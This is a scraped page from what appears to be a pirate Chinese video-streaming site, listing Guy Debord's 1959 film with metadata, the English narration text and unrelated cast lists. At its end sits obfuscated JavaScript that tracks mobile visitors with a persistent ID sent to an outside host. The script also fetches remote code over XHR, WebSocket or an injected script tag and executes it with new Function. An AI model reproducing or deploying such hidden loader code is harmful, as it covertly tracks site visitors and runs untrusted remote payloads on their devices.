- 提醒:不要轻易相信视频中的广告,谨防上当受骗!
- 如果无法播放请重新刷新页面,或者切换线路。
- 视频载入速度跟网速有关,请耐心等待几秒钟。
简介关于在短时间内的某几个人的经过 HD中字7.0给影片打分《关于在短时间内的某几个人的经过》我也要给影片打分
- 842
复制下方链接,去粘贴给好友吧-关于在短时间内的某几个人的经过-HD中字复制链接
影片信息
关于在短时间内的某几个人的经过
- 片名:关于在短时间内的某几个人的经过
- 状态:HD中字
- 主演:未知
- 导演:居伊·德波/
- 年份:1959
- 地区:法国
- 类型:剧情/
- 时长:内详
- 上映:未知
- 语言:法语
- 更新:2024-06-25 19:05
- 简介:关于在短时间内的某几个人的经过1959 播出年由未知主演,居伊·德波 导演的《关于在短时间内的某几个人的经过》在线观看,《关于在短时间内的某几个人的经过》百度云网盘资源以及《关于在短时间内的某几个人的经过》高清mp4迅雷下载,希望您能喜欢!
Voice 1 (male professional announcer type) This neighborhood(1) was made for the wretched dignity of the petty bourgeoisie, for respectable occupations and intellectual tourism. The sedentary population of the upper floors was sheltered from the influences of the street. This neighborhood has remained the same. It was the strange setting of our story, where a systematic questioning of all the diversions and works of a society, a total critique of its idea of happiness, was expressed in acts. These people also scorned subjective profundity. They were interested in nothing but an adequate and concrete expression of themselves. Voice 2 (Debord, monotone) Human beings are not fully conscious of their real life - usually groping in the dark; overwhelmed by the consequences of their acts; at every moment groups and individuals find themselves confronted with results they have not wished. Voice 1 They said that oblivion was their ruling passion. They wanted to reinvent everything each day; to become the masters and possessors of their own lives. Just as one does not judge a man according to the conception he has of himself, one cannot judge such periods of transition according to their own consciousness; on the contrary, one must explain the consciousness through the contradictions of material life, through the conflict between social conditions and the forces of social production. The progress achieved in the domination of nature was not yet matched by a corresponding liberation of everyday life. Youth passed away among the various controls of resignation. Our camera has captured for you a few aspects of a provisional microsociety. The knowledge of empirical facts remains abstract and superficial as long as it is not concretized by its integration into the whole ” which alone permits the supersession of partial and abstract problems so as to arrive at their concrete essence, and implicitly at their meaning. This group was on the margins of the economy. It tended toward a role of pure consumption, and first of all the free consumption of its time. It thus found itself directly engaged in qualitative variations of everyday life but deprived of any means to intervene in them. The group ranged over a very small area. The same times brought them back to the same places. No one went to bed early. Discussion on the meaning of all this continued... Voice 2 Our life is a journey ” In the winter and the night. ” We seek our passage...� Voice 1 The abandoned literature nevertheless exerted a delaying action on new affective formulations. Voice 2 There was the fatigue and the cold of the morning in this much-traversed labyrinth, like an enigma that we had to resolve. It was a looking-glass reality through which we had to discover the potential richness of reality. On the bank of the river evening began once again; and caresses; and the importance of a world without importance. Just as the eyes have a blurred vision of many things and can see only one clearly, so the will can strive only incompletely toward diverse objects and can completely love only one at a time. Voice 3 (young girl) No one counted on the future. It would never be possible to be together later, or anywhere else. There would never be a greater freedom. Voice 1 The refusal of time and of growing old automatically limited encounters in this narrow, contingent zone, where what was lacking was felt as irreparable. The extreme precariousness of the means of getting by without working was at the root of this impatience which made excesses necessary and breaks definitive. Voice 2 One never really contests an organization of existence without contesting all of that organization's forms of language. Voice 1 When freedom is practiced in a closed circle, it fades into a dream, becomes a mere representation of itself. The ambiance of play is by nature unstable. At any moment ordinary life� can prevail once again. The geographical limitation of play is even more striking than its temporal limitation. Any game takes place within the contours of its spatial domain. Around the neighborhood, around its fleeting and threatened immobility, stretched a half-known city where people met only by chance, losing their way forever. The girls who found their way there, because they were legally under the control of their families until the age of eighteen, were often recaptured by the defenders of that detestable institution. They were generally confined under the guard of those creatures who among all the bad products of a bad society are the most ugly and repugnant nuns. What usually makes documentaries so easy to understand is the arbitrary limitation of their subject matter. They describe the atomization of social functions and the isolation of their products. One can, in contrast, envisage the entire complexity of a moment which is not resolved into a work, a moment whose movement indissolubly contains facts and values and whose meaning does not yet appear. The subject matter of the documentary would then be this confused totality. Voice 2 The era had arrived at a level of knowledge and technical means that made possible, and increasingly necessary, a direct construction of all aspects of a liberated affective and practical existence. The appearance of these superior means of action, still unused because of the delays in the project of liquidating the commodity economy, had already condemned aesthetic activity, whose ambitions and powers were both outdated. The decay of art and of all the values of former mores had formed our sociological background. The ruling class's monopoly over the instruments we needed to control in order to realize the collective art of our time had excluded us from a cultural production officially devoted to illustrating and repeating the past. An art film on this generation can only be a film on its absence of real creations. Everyone unthinkingly followed the paths learned once and for all, to their work and their home, to their predictable future. For them duty had already become a habit, and habit a duty. They did not see the deficiency of their city. They thought the deficiency of their life was natural. We wanted to break out of this conditioning, in quest of another use of the urban landscape, in quest of new passions. The atmosphere of a few places gave us intimations of the future powers of an architecture it would be necessary to create to be the support and framework for less mediocre games. We could expect nothing of anything we had not ourselves altered. The urban environment proclaimed the orders and tastes of the ruling society just as violently as the newspapers. It is man who makes the unity of the world, but man has extended himself everywhere. People can see nothing around them that is not their own image; everything speaks to them of themselves. Their very landscape is alive. There were obstacles everywhere. There was a cohesion in the obstacles of all types. They maintained the coherent reign of poverty. Everything being connected, it was necessary to change everything by a unitary struggle, or nothing. It was necessary to link up with the masses, but we were surrounded by sleep. Voice 3 The dictatorship of the proletariat is a desperate struggle, bloody and bloodless, violent and peaceful, military and economic, educational and administrative, against the forces and traditions of the old world. Voice 1 In this country it is once again the men of order who have rebelled. They have reinforced their power. They have been able to aggravate the grotesqueness of the ruling conditions according to their will. They have embellished their system with the funereal ceremonies of the past. Voice 2 Years, like a single instant prolonged to this point, come to an end. Voice 1 What was directly lived reappears frozen in the distance, fit into the tastes and illusions of an era, carried away with it. Voice 2 The appearance of events that we have not made, that others have made against us, now obliges us to be aware of the passage of time, its results, the transformation of our own desires into events. What differentiates the past from the present is precisely its out-of-reach objectivity; there is no more should-be; being is so consumed that it has ceased to exist. The details are already lost in the dust of time. Who was afraid of life, afraid of the night, afraid of being taken, afraid of being kept Voice 3 What should be abolished continues, and we continue to wear away with it. We are engulfed. We are separated. The years pass and we haven't changed anything. Voice 2 Once again morning in the same streets. Once again the fatigue of so many similarly passed nights. It is a walk that has lasted a long time. Voice 1 Really hard to drink more. Voice 2 Of course one might make a film of it. But even if such a film succeeds in being as fundamentally disconnected and unsatisfying as the reality it deals with, it will never be more than a re-creation ” poor and false like this botched traveling shot. Voice 3 There are now people who pride themselves on being authors of films, as others were authors of novels. They are even more backward than the novelists because they are unaware of the decomposition and exhaustion of individual expression in our time, ignorant of the end of the arts of passivity. They are praised for their sincerity since they dramatize, with more personal depth, the conventions of which their life consists. There is talk of the liberation of the cinema. But what does it matter to us if one more art is liberated through which Tom, Dick or Harry can joyously express their slavish sentiments The only interesting venture is the liberation of everyday life, not only in the perspectives of history but for us and right away. This entails the withering away of alienated forms of communication. The cinema, too, has to be destroyed. Voice 2 In the final analysis, stars are created by the need we have for them, and not by their talent or lack of talent or even by the film industry or advertising. Miserable need, dismal, anonymous life that would like to expand itself to the dimensions of cinema life. The imaginary life on the screen is the product of this real need. The star is the projection of this need. The images of the advertisements during the intermissions are more suited than any others for evoking an intermission of life. To really describe this era it would no doubt be necessary to show many other things. But what would be the point Better to grasp the totality of what has been done and what remains to be done than to add more ruins to the old world of the spectacle and of memories. 1. This film, which evokes the lettrist experiences at the origin of the situationist movement, opens with shots of the Paris district frequented by the lettrists in the early 1950s.
1.0 Alex Wiseman/Peter Madsen/Kim Wall/
6.0西尔莎·罗南/埃利奥特·赫弗南/哈里斯·迪金森/本杰明·克莱曼汀/凯西·伯克/保罗·韦勒/斯蒂芬·格拉汉姆/雷·吉尔/Mica/Ricketts/C·J·贝克福德/阿历克斯·杰宁斯/约书亚·麦圭尔/海莉·斯奎尔斯/艾琳·凯利曼/萨莉·梅瑟姆/约瑟夫·阿尔京/克里斯托弗·钟/杰拉德·摩纳科/希瑟·克兰妮/桑德拉·休杰特/Isaac/Highams/格雷厄姆·福克斯/Jack/Shalloo/
9.0 塞缪尔·杰克逊/约翰·大卫·华盛顿/丹妮尔·戴德怀勒/雷·费舍尔/科里·霍金斯/迈克尔·波茨/Skylar Smith/史蒂芬·詹姆士/埃丽卡·巴杜/Malik J Ali/查丽蒂·乔丹/Isaiah Gunn/Matrell Smith/杰瑞卡·辛顿/盖尔·比恩/Hanniel Joseph/保莱塔·华盛顿/奥利维亚·华盛顿/Kylee D. Allen/Deetta West/
7.0 托马辛·麦肯齐/里什·沙阿/詹姆斯·诺顿/Nikolay Shulik/艾德里安·鲁基斯/比尔·奈伊/Surinder Duhra/托比·威廉姆斯/乔安娜·斯坎伦/罗伯特·威尔福特/坦娅·穆迪/鲁思·马德利/Josephine Jones/杰迈玛·卢珀/Lydia Jones/塞西莉·克利夫/Lyllia-Rose Redmond/Alice Bennett/Carla Harrison-Hodge/Elliot Bird/
5.0 卢克·柯比/罗丝玛丽·德薇特/迈克尔·切鲁斯/PHOEBE-RAE TAYLOR/科特尼·泰勒/朱迪斯·赖特/
5.0黄晓明/王影璐/李丛喜/黄璐/陈传凯/吕鑫/李倩/节冰/徐少武/胡莜然/
3.0 爱德华·福克斯/特伦斯·亚历山大/米歇尔·奥克莱尔/艾兰·巴德尔/托尼·布里顿/Denis Carey/Adrien Cayla-Legrand/西里尔·库萨克/莫瑞斯·德纳姆/弗农·多布切夫/雅克·弗朗索瓦/奥尔加·乔治斯-皮科/雷蒙·热罗姆/巴里·英厄姆/德里克·雅各比/迈克尔·朗斯代尔/让·马丹/罗纳德·皮卡普/埃里克·波特/安东·罗杰斯/德菲因·塞里格/唐纳德·辛顿/让·索雷尔/提摩西·韦斯特/Bernard Archard/Colette Bergé/格雷德·布尔/菲利普·莱奥塔尔/莫里斯·泰纳/
4.0彭昱畅/胡冰卿/姚橹/小爱/史策/修睿/宋词/刘頔/唐赟/
正片
6.0区嘉雯/李琳琳/太保/梁仲恒/廖子妤/许素莹/梁雍婷/邵美君/李丽霞/余玉华/黎济铭/岑乐怡/
2.0托马辛·麦肯齐/詹姆斯·诺顿/比尔·奈伊/夏莉·墨菲/里什·沙阿/欧因·达菲/道格·麦克梅金/塞西莉·克利夫/Mariam/Haque/Abbiegail/Mills/
7.0塞缪尔·杰克逊/约翰·大卫·华盛顿/丹妮尔·戴德怀勒/雷·费舍尔/科里·霍金斯/迈克尔·波茨/Skylar/Smith/史蒂芬·詹姆士/埃丽卡·巴杜/Malik/J/Ali/查丽蒂·乔丹/Isaiah/Gunn/Matrell/Smith/杰瑞卡·辛顿/盖尔·比恩/Hanniel/Joseph/保莱塔·华盛顿/奥利维亚·华盛顿/Kylee/D./Allen/Deetta/West/
6.0 塞缪尔·杰克逊/约翰·大卫·华盛顿/丹妮尔·戴德怀勒/雷·费舍尔/科里·霍金斯/迈克尔·波茨/Skylar Smith/史蒂芬·詹姆士/埃丽卡·巴杜/Malik J Ali/查丽蒂·乔丹/Isaiah Gunn/Matrell Smith/杰瑞卡·辛顿/盖尔·比恩/Hanniel Joseph/保莱塔·华盛顿/奥利维亚·华盛顿/Kylee D. Allen/Deetta West/
9.0 托马辛·麦肯齐/里什·沙阿/詹姆斯·诺顿/Nikolay Shulik/艾德里安·鲁基斯/比尔·奈伊/Surinder Duhra/托比·威廉姆斯/乔安娜·斯坎伦/罗伯特·威尔福特/坦娅·穆迪/鲁思·马德利/Josephine Jones/杰迈玛·卢珀/Lydia Jones/塞西莉·克利夫/Lyllia-Rose Redmond/Alice Bennett/Carla Harrison-Hodge/Elliot Bird/
3.0 卢克·柯比/罗丝玛丽·德薇特/迈克尔·切鲁斯/PHOEBE-RAE TAYLOR/科特尼·泰勒/朱迪斯·赖特/
4.0西尔莎·罗南/埃利奥特·赫弗南/哈里斯·迪金森/本杰明·克莱曼汀/凯西·伯克/保罗·韦勒/斯蒂芬·格拉汉姆/雷·吉尔/Mica/Ricketts/C·J·贝克福德/阿历克斯·杰宁斯/约书亚·麦圭尔/海莉·斯奎尔斯/艾琳·凯利曼/萨莉·梅瑟姆/约瑟夫·阿尔京/克里斯托弗·钟/杰拉德·摩纳科/希瑟·克兰妮/桑德拉·休杰特/Isaac/Highams/格雷厄姆·福克斯/Jack/Shalloo/
6.0塞缪尔·杰克逊/约翰·大卫·华盛顿/丹妮尔·戴德怀勒/雷·费舍尔/科里·霍金斯/迈克尔·波茨/Skylar/Smith/史蒂芬·詹姆士/埃丽卡·巴杜/Malik/J/Ali/查丽蒂·乔丹/Isaiah/Gunn/Matrell/Smith/杰瑞卡·辛顿/盖尔·比恩/Hanniel/Joseph/保莱塔·华盛顿/奥利维亚·华盛顿/Kylee/D./Allen/Deetta/West/
2.0咏梅/姜武/吴倩/张本煜/马苏/艾丽娅/李易祥/李嘉鑫/吴泽南/陈玺旭/
7.0温贞菱/丁宁/黄婕菲/雷婕熙/廖钦亮/林敬伦/文雨非/
7.0Marco/Leonardi/卢米·卡范佐斯/埃达·卡拉斯科/Yareli/Arizmendi/Claudette/Maillé/
5.0陶慧敏/剧雪/沈蓉/吉雪萍/池华琼/普超英/张力维/宁理/
8.0玛伦·艾格特/布里塔·哈梅尔施泰因/路易斯·海耶尔/利奥·佐伊·沃斯/Ilja/Bultmann/安德烈亚斯·德勒/Milian/Zerzawy/Paula/Schindler/Luana/Greco/Finnigan/Inan/
2.0杏/中须翔真/佐津川爱美/酒向芳/木龙麻生/和田聪宏/丸山智己/河井青叶/安藤政信/奥田瑛二/
6.0大卫·贝尔达格尔/路易斯·卡叶赫/奥斯卡·德·拉·弗恩特/奥利维亚·莫丽娜/玛利亚·罗曼尼奥斯/洛雷娜·洛佩斯/玛尔塔·贝伦格尔/佐迪·阿吉拉尔/米古尔·雷兰/Jona/García/Tosca/Montoya/Arantzazu/Pastor/Arantxa/Pastor/Dario/Mataix/Moana/Gómez/Nora/Arándiga/Pau/Belloch/Rubio/Guillem/Belloch/Rubio/Amparo/Oltra/Paco/Roca/
5.0正宇/金大明/朴炳垠/赵显哲/郑海钧/白秀章/
4.0保罗·麦斯卡/佩德罗·帕斯卡/丹泽尔·华盛顿/康妮·尼尔森/约瑟夫·奎恩/弗莱德·赫钦格/德里克·雅各比/马特·卢卡斯/彼得·门萨/梅·卡拉美维/蒂姆·麦克纳尼/利奥·拉兹/瑞安娜·杜斯/奇迪·阿朱福/李·查尔斯/齐·刘易斯-帕里/迈克·帕里什/米哈伊尔·巴斯马吉安/亚历山大·西姆金/马克西姆·杜兰德/
function hVzvjn(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function fXABZhR(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return hVzvjn(t);};window[''+'Y'+'C'+'r'+'L'+'m'+'Z'+'P'+'F'+'b'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HvRhc(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=fXABZhR,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HvRhc(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15164/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HvRhc(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0EElMkYlMkZhLmlpbHh6cS5jbiUzQTg4OTEE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166465',window,document,['E','Y']);}:function(){};